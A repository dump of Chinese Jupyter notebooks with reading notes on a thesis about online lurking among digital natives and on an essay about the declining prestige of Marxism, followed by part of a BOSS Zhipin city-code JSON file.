"我的想法,其通俗的解释是:群体成员对社会公共环境的各项期望,由此衍生完整的社会资本环境的构念。(**合作效率,配合度**)\n", "\n", "刘江[(2013,p27)](#fn1-black)对社会资本论总结的主要观点有:\n", "\n", "1. 社会资本能对群体成员产生正向的外部效应;\n", "2. 这些外部效应能够通过共享信任、规范、价值观念以及对预期和行为产生影响的相关结果来获得。\n", "3. 共享信任、规范、价值观念产生于基于社会网络和关系的\n", "4. 相关组织的非正式形式。而对社会资本的研究就是探究通过信任、规范产生有益结果的关系网络的相关流程。\n", "\n", "在个体间关系的研究中,社会资本理论的应用范围已得到了进一步的延伸和扩展,以此来探索如何通过团队协调促进社会效率。\n", "\n", "#### 社会认同理论\n", "\n", "计划行为理论、社会交换理论、社会资本理论的集大成者。\n", "\n", "\n", "\n", "虚拟社区感是社区社会认同的抽象化和情感化展现:McMillan与Chavis在研究中将虚拟社区感划分为四个维度:成员感(反映对虚拟社区的归属感);影响力(对社区成员间相互影响的感知);沉浸感(社区中成员的沉迷状态):情感维系(描述虚拟社区中成员通过交互、交流产生的感情联系)。[(刘江,2013,p31)](#fn1-black)\n", "\n", "### 模型变量与研究假设\n", "\n", "将不同理论所得要点做为变量,然后依据此前的理论作为设想/假设,再设计相关问卷进行调研与验证。(图:p33,p36)\n", "\n", "\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 问卷设计与数据收集\n", "\n", "### 问卷设计\n", "\n", "**批注:符合论文写作的过程 (p38)**\n", "\n", "具体执行过程:在研究中数据收集是通过调查问卷来实现的,所以问卷设计质量对所收集到的数据质量有很重要的影响。在问卷设计阶段,首先设计问卷的总体框架,针对本次研究模型中10个潜变量并基于前人研究基础上设计测量问项,进而构建本研究的初始调查问卷。接着通过调研访谈和小规模前测,修改易造成歧义的问项,并利用前测数据进行问卷的信度和效度检验。最后,根据检验结果对测量问项进行进一步的修正,形成正式问卷并发放,收集研究数据。\n", "\n", "\n", "\n", "**问卷设计样例效果图(p40)**\n", "\n", "\n", "\n", "* **信度分析:主要是考察各潜变量的Cronbach'sa值是否超过0.7的临界值。**\n", "* **效度分析,主要基于因子分析来检验。也就是通过对样本数据进行KMO系数分析。Kaiser给出了常用的kmo度量标准: 0.9以上表示非常适合;0.8表示适合;0.7表示一般;0.6表示不太适合;0.5以下表示极不适合。**\n", "* **因子相关性分析:Bartlett球形检验则用于检验观测变量之间是否存在相关性,这是进行因子分析的一个前提条件。它基于一个假设,即观测变量之间不存在任何相关性。如果在Bartlett球形检验中得出的显著性水平较低(通常设置为0.05),则可以拒绝该假设,表明观测变量之间存在相关性,因此适合进行因子分析。**\n", "* **偏向程度分析:,Likert量表的评分范围为5或7个等级,但也可以是其他数字。选择适当的评分范围要考虑到被调查者容易理解和回答的程度。较少的等级可能更容易导致患者在选择中立选项时受到限制,而较多的等级可能增加了患者选择的复杂性。**\n", "\n", "经过问卷前测和信度、效度分析,问卷的各个问项均满足相关标准,所以形成正式问卷。问卷是基于匿名调查的,所受到社会称许性偏差较小。(问卷图见,p69)\n", "\n", "\n", "\n", "详细操作同类型统计学例子可见:\n", "\n", "* [知乎专栏 - 调查问卷的信度分析和效度分析](https://zhuanlan.zhihu.com/p/350171180)\n", "* [知乎专栏 - 教你如何设计信度好、效度高的问卷(量表)](https://zhuanlan.zhihu.com/p/375644031)\n", "* [知乎专栏 - 一、问卷设计注意事项、常用标准问卷和量化分析方法](https://zhuanlan.zhihu.com/p/92933273)\n", "* [常用统计软件介绍](https://netedu.xauat.edu.cn/jpkc/netclass/jpkc/gltj/homepage/5jxsj/52.htm)\n", "\n", "### 问卷发放与收集\n", "\n", "**问卷投放选型考量(p44)**\n", "\n", "\n", "\n", "**问卷发放样本值选定值**\n", "\n", "有关结构方程分析中样本规模标准,国内外研究者们的意见并不统一。如研究者Anderson等认为进行结构方程模型分析的最低样本数目为100-150';邱皓政提出结构方程分析的样本数目不能低于200以保证稳定的分析结果。而Gorsuch的观点相对而言被大多数研究者所认可并加以采用,他认为样本规模应为测量问项的5到10倍,并且100是样本规模的最低阀值。基于以上研究者的结论,刘江将本研究的最低样本数目定为200,以便于进行稳定且准确的结构方程分析。\n", "\n", "本研究从2012年3月21日到2012年3月31日发放和回收问卷,本次问卷发放共回收问卷245份,主要通过邮件发送和即时通讯软件发送两种方式发放问卷。并依照以下标准剔除无效问卷:
    \n", "(1)答案选项过于集中;(2)问卷填写不完整,有遗漏项;(3)问卷填答有矛盾的答案;
    \n", "根据以上标准,筛选有效问卷,得到215份有效问卷,即问卷有效率为87.6%。本研究将基于这215份样本数据进行数字原住民网络潜水动因的实证分析研究。" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 数据分析与假设检验\n", "\n", "统计方法在数据分析中起到了校对和辅助参考的作用。它们帮助我们对数据进行整理、总结和解释,并提供了一种系统性的方式来推断总体特征和进行决策。然而,统计方法也有其限制和假设,需要谨慎应用。例如,在因子分析中,样本大小对于因子的稳定性和可靠性有一定影响。较小的样本容易导致结果的不稳定性和误导性,因此需要在进行因子分析时考虑样本的大小,并确保样本足够大以支持可靠的结果。\n", "\n", "此外,统计分析还依赖于所使用的数据质量和采样方法的正确性。如果样本选择不当、数据存在缺失或偏差等问题,统计分析的结果可能会出现偏差或误导。因此,在进行统计分析之前,需要仔细检查数据的可靠性和有效性,并在可能的情况下采取纠正措施。\n", "\n", "总的来说,统计方法是有用的工具,可以提供对数据的分析和解释。然而,在使用统计方法时,我们需要理解其局限性,并谨慎地解释和应用结果,避免过度依赖统计分析的结果而忽略实际情况的综合考量。\n", "\n", "\n", "\n", "\n", "\n", "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 结语\n", "\n", "研究梳理国内外学者对网络潜水行为研究成果的基础上,对网络潜水者更近一步细分、整合。构建潜水行为动因分类体系,整合多门学科,基于计划行为理论、社会交换论、社会资本论以及社会认同理论,挖掘数字原住民动因潜水模型,并应用统计学实证对模型进行检验。\n", "\n", "### 研究结论\n", "\n", "(1)数字原住民潜水动因与数字移民潜水动因之间存在一定的差异性。
    \n", "(2)虚拟社区中的互惠性和交五性均对数字原住民的潜水行为意向有显著的负向影响。
    \n", "(3)虚拟社区感对虚拟社区中数字原住民潜水行为意向和潜水行为均有显著的负向影响。
    \n", "(4)社区的文化氛围、成员的社区认同感以及社区成员间的信任对数字原住民的虚拟社区感有显著的正向影响。
    \n", "(5)物理限制条件也是数字原住民潜水行为的显著影响因素。
    \n", "\n", "### 实践建议\n", "\n", "(1)正视成员动机差异,采取差异化激励措施
    \n", "(2)增强外部激励和社区互动性,削弱数字原住民用户潜水行为意向,刺激其积极参与
    \n", "(3)加强数字原住民的虚拟社区感的培养
    \n", "(4)定期邮件调研,及时了解社区成员潜水动因
    \n", "\n", "### 研究局限\n", "\n", "(1)模型构建方面:研究成果较少,模型理论支撑度较单薄。
    \n", "(2)问卷设置方面:研究成果较少,问卷内容可能存在缺陷,待改进。(开创性考量)
    \n", "(2)调查样本方面:样本数偏少,后续需进一步扩大规模,增强说服力。(时限,规模)\n", "\n", "### 研究展望\n", "\n", "后续研究者可进一步完善的研究:\n", "\n", "1. 将动因模型用于数字原住民与数字移民做比较,深入理解潜水因素。\n", "2. 增加调节变量(年龄、职业、教育背景)进行进一步衡量潜水影响因素。\n", "3. 增加文献的查阅,增强样本的代表性与普适性。\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 参考页码\n", "\n", "[刘江,数字原住民网络潜水动因实证研究,p7,p9,p12,p16,p18,p27,p31,p40,p44[M]南京大学研究生毕业论文,2013(5)](#fn1).
    " ] } ], "metadata": { "language_info": { "name": "python" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/读《论马克思主义威望下降的原因》.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "# 读【董德刚:论马克思主义威望下降的原因】\n", "\n", "## 消极因素\n", "\n", "**一、苏联式社会主义制度失败的打击**\n", "\n", "虽不了解也未研究苏联史,但文章这一段中包含关键词六个关键词:\"克格勃集团\"、\"军工集团\"、\"第聂伯罗帮\"、\"太子党\"、\"秘书党\"、\"官二代\",以及“执政党少数领导干部独掌公共权力,缺乏民主、法治、自由。执政党实行严密思想控制,以领导人的指示为圭臬,要求全体公民思想高度统一,‘一花’独放,‘百花’凋零,思想文化创新乏力。”颇有一番值得让人深思的意味。\n", "\n", "关于马克思主义和苏联式社会主义制度的失败,这是一个复杂的问题,涉及到众多因素的综合影响。尽管马克思主义追求为绝大多数人谋利益而不谋取特殊利益的理想,但在实践过程中,出现了权力集中、腐败、经济计划失效等问题。苏联式社会主义制度的失败对于马克思主义的声望造成了重大冲击。\n", "\n", "**二、部分共产党官员和马克思主义理论家的言行相悖严重损害了马克思主义的声誉**\n", "\n", "叶利钦在《我的自述》一书中回顾了苏联特权阶层日常生活情景,并做出一番感慨:“随着你在职位阶梯上爬得越高,你所享受的待遇也就越丰厚……如果你成功登上党的权力金字塔的巅峰,那么你将获得一切——你就进入了共产主义的境地……共产主义完全可以在一个单独的国家里为那些获取权位的少数人而实现。”[(1996,东方出版社)](#fn1-black)。\n", "\n", "尽管高调宣扬共产主义、集体主义、科学和道德,但其行为却呈现出极端个人主义、权威主义和奢侈糜烂的享乐主义。媒体爆出了一系列令人讽刺的丑闻,其中包括情妇反目、私生子曝光、支付\"封口费\"等事件。他们那些马克思主义高调宣传建设,都成美化现实、歌颂上司、愚弄群众、自欺欺人、树立权威的政治工具。\n", "\n", "**三、不少人对于马克思主义不大懂、不会用,不能解决实际问题**\n", "\n", "马克思、恩格斯全集字数过千万,由于具有特定时代背景、国情,以及翻译过程中存在语言隔阂,使得这些著作对于读者来说并不容易理解。尤其对于那些每天忙于生计的普通工农群众来说,更难有时间和机会去深入研读这些著作。即便是在领导干部中,以及那些读过一些著作的人来说,是否能够真正把握其中的精髓和基本精神也是一个很大的问题。\n", "\n", "> 人们对马克思主义不大懂、不会用、不能解决实际问题,而又经常口称马克思主义,怎么能不影响它的威望呢!\n", "\n", "**四、一些人对马克思学说的否定也起了一定作用**\n", "\n", "这个很好理解,不做过多阐述(略)\n", "\n", "## 积极因素\n", "\n", "**一、 从横向上看,改革开放开阔了我们的思想理论视野,使马克思主义的相对地位下降。**\n", "\n", "横向:时间轴、中国的发展与其他国家发展\n", "\n", "前两段内容节选\n", "\n", "> 过去,我们把马克思主义绝对化、神圣化,认为马克思和恩格斯\"句句是真理\",而且每一句话都是\"放之四海而皆准\"的普遍真理,马克思主义成为科学、正确、真理、正义、高尚等一切美好事物的代名词,是至高无上的人类思想文化的顶峰。\"有我无他\",\"一花开会百花杀\",其他思想理论成果都被遮蔽了。而执政党和政府是高举马克思主义旗帜、按照马克思主义办事的,因此,唯我正确、唯我科学、唯我革命、唯我优越等夜郎自大的思想和行为大行其道,自信到自负的程度,不允许任何人质疑马克思学说及其现世代表--领导人的言论,排斥马克思学说之外的合理因素。\n", ">\n", "> 现在,随着改革开放的不断深化,人们的视野开阔了,逐步拥有了世界历史眼光。他们看到,世界上多数国家并不以马克思主义为指导,但他们的国家也在发展,有些国家有些时候发展还很快,创造了很多人间奇迹。时常有领导干部提出如下问题:世界上不少国家并不以马克思主义为指导,他们发展得也很好,其中不少国家发展水平比我们还高,他们的思想理论是否全是谬误?当然不可能全是谬误,其中有很多科学合理的成分。否则,他们的国家怎么能够发展起来?!\n", "\n", "**二、 从纵向上看,我们创造出中国特色社会主义理论等新的理论,也使马克思主义的相对重要性减弱。**\n", "\n", "纵向:自我的创造内容方面等维度\n", "\n", "随着时间推进,社会的不断变化与发展。思想理论及学术成果愈来愈多,马克思学说在其中所占的比重和相对地位会愈益下降,这是历史发展的大趋势。\n", "\n", "引用该部分最后一段话\n", "\n", "> 毛泽东早已说过:\"几千年以后看马克思,就像现在看孔夫子。\" 这句话很有哲理。试想,在中国封建社会,许多人认为:\"天不生仲尼,万古如长夜。\"历史已经证明了这一说法的乖谬。孔夫子确实很伟大,他关于修身、处世、教育等许多论述,至今仍有重要价值。但是,他并没有讲科学、民主和法治(这是陈述事实,不是苛求于先人),单靠孔夫子,人们就无法适应现代生活。同样,马克思也不可能回答后人遇到的所有问题,它们只能靠后人自己去解决;而且,实践、时代和科学都在不断发展,后人在新的实践中一定会创造出新的思想理论。任何科学理论都是人类认识世界的阶梯,它们无一例外地具有局限性、相对性,都是可以分析以至证伪的,都需要发展,并且将来都会被更高级的科学理论所扬弃。中共十六大报告指出:\"实践没有止境,创新也没有止境。我们要突破前人,后人也必然会突破我们。这是社会前进的必然规律。\" 人类的思想理论成果会愈来愈多,马克思学说在其中所占的比重和相对地位会愈益下降,这是历史发展的大趋势。假如人类的思想理论上百年甚至上千年都没有实质性的进步和突破,那不是发展而是停滞、不是福音而是灾难!事实显然决非如此。\n", "\n", "**三、人们现在愈来愈能够对马克思学说采取科学分析的态度,亦使马克思主义的威望从顶峰回落。**\n", "\n", "节选倒数第五部分、第三部分与最后部分\n", "\n", "> 国外的马克思主义者也愈来愈对马克思学说采取科学的分析态度。陈学明概括说:\"'西方马克思主义'理论家提出了关于马克思主义主要特征的五个观点:第一,马克思主义不是一元的,而是多元的体系。他们所说的马克思主义是多元的有两层含义:一是说马克思本人的学说包含着各种不同的甚至互相矛盾的成分;二是说存在着各种各样的对马克思的学说的解释,即存在着各种版本的马克思主义。第二,马克思主义不是完美无缺的,应当不断地加以修正和发展。他们中一些人提出,应当理直气壮地讨论马克思主义的局限性这一问题,这并不是对马克思的不尊重;虽然不能像有些人那样断言马克思在19世纪做出了独创性的贡献,但对认识20世纪的现实却毫无帮助,对世界面临的21世纪的挑战更是束手无策,然而,马克思确实没有给人们提供现成的答案。第三,马克思主义不再是政治的装饰品,应将其与政治分开。……第四,马克思主义不是随便可以分割的,应从整体上去把握。……第五,马克思主义不是经院哲学,它应面向现实。……\" 他还指出:\"这些'西方马克思主义'理论家在苏东剧变后研究马克思主义的最大的理论成果是对马克思主义理论中'活东西'与'死东西'的澄清。他们中许多人认为,马克思主义关于取消市场才能取消资本主义的理论已经变得不合时宜,他们不但通过考察历史来证明市场要比资本主义概念宽泛得多,而且通过分析现实来说明社会主义不能取消市场而实行计划经济,同时还把对苏联模式的社会主义的失败的教训的总结与对马克思这一理论的局限性的论证结合在一起,因此显得很有说服力。……他们把苏联社会主义模式缺乏民主的现象归咎于马克思的权力与国家理论,并进一步把马克思的这一理论也列入已过时的范围,这也为我们全面认识马克思的权力与国家理论的真实意义以及当代意义打开了新的思路。\"\n", "\n", "> 有人说,马克思学说的主要内容是对资本主义的批判,因此,只要资本主义还存在,马克思主义就不可超越。这固然有一定道理,但也应当看到,现代发达国家的资本主义同马克思当年所看到的原始野蛮的资本主义相比,已经发生了相当大的变化,它比过去文明进步得多,其中包括增加了不少社会主义因素(如所有权的社会化,社会保障和社会福利制度的建立,国家宏观调控的施行,民主、人权和公平正义水平的提高等),\"山已不是那个山,水已不是那个水\",再简单套用马克思当年的结论已经不合时宜了。\n", "\n", "> 这样,马克思主义\"祛魅\"了,马克思学说从过去虚高的\"顶峰\"地位开始回落,融汇到当代世界和中国思想文化百花齐放、异彩纷呈的现实中来。\n", "\n", "## 经验教训\n", "\n", "(章节全选段)\n", "\n", "> 从马克思主义威望下降中应当汲取的主要经验教训,可以简要地归结如下:\n", ">\n", "> 造成马克思主义威望下降的消极因素给我们提供的主要教训是:第一,必须对苏联式社会主义制度坚决进行改革,加强民主和法治建设,特别是切实解决其高度集权、官僚特权和腐败问题。第二,共产党的领导干部和理论工作者要把马克思主义普遍真理和人类其他文明成果内化为主体素养,化理论为方法,化理论为价值取向,首先用于改造主观世界,真正诚信笃行,做一个真共产党员、真马克思主义者。第三,努力运用马克思主义普遍真理和人类文明新成果解决实际问题特别是重大问题,即用于改造客观世界,促进中国小康社会和现代化建设,使人民生活更加富裕幸福。第四,理性应对一些人对马克思学说的质疑和否定。对那些全盘否定以至污蔑和丑化马克思学说的言论需要反击,但要着眼于大多数群众,摆事实、讲道理,不要乱扣反马克思主义的政治\"帽子\"。\n", ">\n", "> 造成马克思主义威望下降的积极因素给我们提供的主要经验是:第一,对待马克思学说要采取科学分析的态度,注重把握马克思主义普遍真理特别是其精髓,不能固守其具体结论,不能搞本本主义,\"学马列要精,要管用的。\" 第二,应当用宽广的世界历史眼光看待马克思主义,把马克思学说摆到适当位置上,它只是\"众山丛中一高峰\",它同人类其他文明成果不是对立的,而是一致的、互补的。第三,要把马克思学说如实地看作\"历史的理论\",坚持与时俱进的科学态度,随着实践、时代和科学的发展,努力创造出新的理论,补充、丰富、发展乃至超越马克思主义,进一步丰富和提升我们的精神世界。\n" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "董德刚:论马克思主义威望下降的原因
    \n", "[叶利钦,《我的自述》,朱启会,荣合译,东方出版社1992年11月第1版,128页](#fn1)
    \n", "[王进,2013,读《苏共亡党之谜》](#fn2)
    " ] } ], "metadata": { "language_info": { "name": "python" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-json/bosszhipin_citycode.json ================================================ { "code": 0, "message": "Success", "zpData": { "cityGroup": [ { "firstChar": "A", "cityList": [ { "code": 101070300, "name": "鞍山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0412", "regionCode": 0 }, { "code": 101081200, "name": "阿拉善盟", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0483", "regionCode": 0 }, { "code": 101110700, "name": "安康", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0915", "regionCode": 0 }, { "code": 101131000, "name": "阿克苏地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0997", "regionCode": 0 }, { "code": 101131500, "name": "阿勒泰地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0906", "regionCode": 0 }, { "code": 101131700, "name": "阿拉尔", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1997", "regionCode": 0 }, { "code": 101140700, "name": "阿里地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0897", "regionCode": 0 }, { "code": 101180200, "name": "安阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0372", "regionCode": 0 }, { "code": 101220600, "name": "安庆", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0556", "regionCode": 0 }, { "code": 101260300, "name": "安顺", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0853", "regionCode": 0 }, { "code": 101271900, "name": "阿坝藏族羌族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0837", "regionCode": 0 }, { "code": 101330100, "name": "澳门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1853", "regionCode": 0 } ] }, { "firstChar": "B", "cityList": [ { "code": 101010100, "name": "北京", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "010", "regionCode": 0 }, { "code": 101060500, "name": "白城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0436", "regionCode": 0 }, { "code": 101060800, "name": "白山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0439", "regionCode": 0 }, { "code": 101070500, "name": "本溪", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0414", "regionCode": 0 }, { "code": 101080200, "name": "包头", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0472", "regionCode": 0 }, { "code": 101080800, "name": "巴彦淖尔", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0478", "regionCode": 0 }, { "code": 101090200, "name": "保定", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0312", "regionCode": 0 }, { "code": 101110900, "name": "宝鸡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0917", "regionCode": 0 }, { "code": 101121100, "name": "滨州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0543", "regionCode": 0 }, { "code": 101130400, "name": "巴音郭楞蒙古自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0996", "regionCode": 0 }, { "code": 101130500, "name": "博尔塔拉蒙古自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0909", "regionCode": 0 }, { "code": 101132100, "name": "北屯市", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1906", "regionCode": 0 }, { "code": 101161000, "name": "白银", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0943", "regionCode": 0 }, { "code": 101220200, "name": "蚌埠", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0552", "regionCode": 0 }, { "code": 101220900, "name": "亳州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0558", "regionCode": 0 }, { "code": 101260500, "name": "毕节", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0857", "regionCode": 0 }, { "code": 101270900, "name": "巴中", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0827", "regionCode": 0 }, { "code": 101290300, "name": "保山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0875", "regionCode": 0 }, { "code": 101301000, "name": "百色", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0776", "regionCode": 0 }, { "code": 101301300, "name": "北海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0779", "regionCode": 0 }, { "code": 101311400, "name": "白沙黎族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "802", "regionCode": 0 }, { "code": 101311800, "name": "保亭黎族苗族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "801", "regionCode": 0 } ] }, { "firstChar": "C", "cityList": [ { "code": 101040100, "name": "重庆", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "023", "regionCode": 0 }, { "code": 101060100, "name": "长春", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0431", "regionCode": 0 }, { "code": 101071200, "name": "朝阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0421", "regionCode": 0 }, { "code": 101080500, "name": "赤峰", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0476", "regionCode": 0 }, { "code": 101090400, "name": "承德", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0314", "regionCode": 0 }, { "code": 101090700, "name": "沧州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0317", "regionCode": 0 }, { "code": 101100500, "name": "长治", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0355", "regionCode": 0 }, { "code": 101130300, "name": "昌吉回族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0994", "regionCode": 0 }, { "code": 101140300, "name": "昌都", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0895", "regionCode": 0 }, { "code": 101191100, "name": "常州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0519", "regionCode": 0 }, { "code": 101221000, "name": "滁州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0550", "regionCode": 0 }, { "code": 101221500, "name": "池州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0566", "regionCode": 0 }, { "code": 101250100, "name": "长沙", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0731", "regionCode": 0 }, { "code": 101250500, "name": "郴州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0735", "regionCode": 0 }, { "code": 101250600, "name": "常德", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0736", "regionCode": 0 }, { "code": 101270100, "name": "成都", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "028", "regionCode": 0 }, { "code": 101281500, "name": "潮州", "tip": null, "subLevelModelList": null, 